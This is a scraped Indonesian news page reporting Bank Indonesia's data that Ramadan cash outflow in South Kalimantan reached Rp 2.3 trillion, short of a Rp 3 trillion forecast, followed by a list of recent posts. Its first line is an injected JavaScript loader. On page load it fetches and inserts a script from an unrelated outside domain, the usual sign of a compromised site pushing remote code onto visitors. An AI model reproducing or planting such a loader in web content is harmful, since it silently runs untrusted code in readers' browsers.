(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

BI: Putaran Uang Selama Ramadhan di Kalsel hanya Capai Rp 2,3 Triliun


BANJARMASIN- Perwakilan Bank Indonesia (BI) Provinsi Kalsel mencatat, selama momen Ramadhan lalu realisasi pengeluaran uang tunai untuk kebutuhan masyarakat Banua hanya sebesar Rp 2,3 triliun.

Ada pun rincian pengeluaran uang tunai sendiri meliputi penukaran uang tunai melalui Loket Kantor Perwakilan BI Provinsi Kalsel sebesar Rp 1,4 triliun, kemudian melalui 3 Kas Titipan di Tanjung, Batulicin dan Kandangan sebesar Rp 835 miliar, kas keliling bersama Bank lainnya sebesar Rp 17 miliar dan Kas Keliling khusus milik Perwakilan BI Provinsi Kalsel sebesar Rp 9 miliar.

Angka tersebut menurut Manager Tim Pengelolaan Uang Rupiah Perwakilan BI Wilayah Provinsi Kalsel Purwanto, memang jauh dari estimasi pihaknya yang sebelumnya memprediksi pengeluaran uang tunai di Kalsel pada Ramadhan sebesar Rp 3 triliun. Hal ini bedasarkan tren penukaran uang selama tiga tahun terakhir.

“Jauh lebih rendah memang dari prediksi kita, namun bukan berarti ini akibat rendahnya daya beli masyarakat. Tapi banyak sekali faktor yang mempengaruhinya,” tegasnya, Rabu (19/6).

Salah satu faktor utama yang paling mempengaruhi rendahnya realisasi pengeluaran uang tunai adalah adanya kebijakan baru dari Pemerintah yang membayarkan gaji Aparatur Sipil Negara (ASN) dan Gajih ke-13 setelah momen lebaran berakhir. “Biasanya kan dibayarkan di momen Ramadhan, namun kali ini dibayarkan setelah lebaran. Hal ini tentunya ikut mempengaruhi penurunan realisiasi pengeluaran uang tunai,” tambahnya.

Secara umum Perwakilan BI Wilayah Provinsi Kalsel melihat, setelah berakhirnya momen Ramadhan, pertumbuhan daya beli masyarakat dan pertumbuhan ekonomi di Kalsel masih cenderung positif. Walau pun masih dibayangi oleh inflasi yang cukup tinggi dari beberapa komoditas lokal maupun akibat kebijakan yang terkait dengan Pemerintah Pusat.

“Kami terus melakukan kordinasi bersama Tim Pengendali Inflasi Daerah (TPID) Kalsel agar inflasi yang dipengaruhi oleh komoditas lokal bisa segera ditekan. Harapannya dengan inflasi yang terjaga maka tentu akan mendorong daya beli masyarakat menjadi lebih bergairah setelah berakhirnya momen Ramadhan dan Lebaran kali ini,” tukasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

7 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.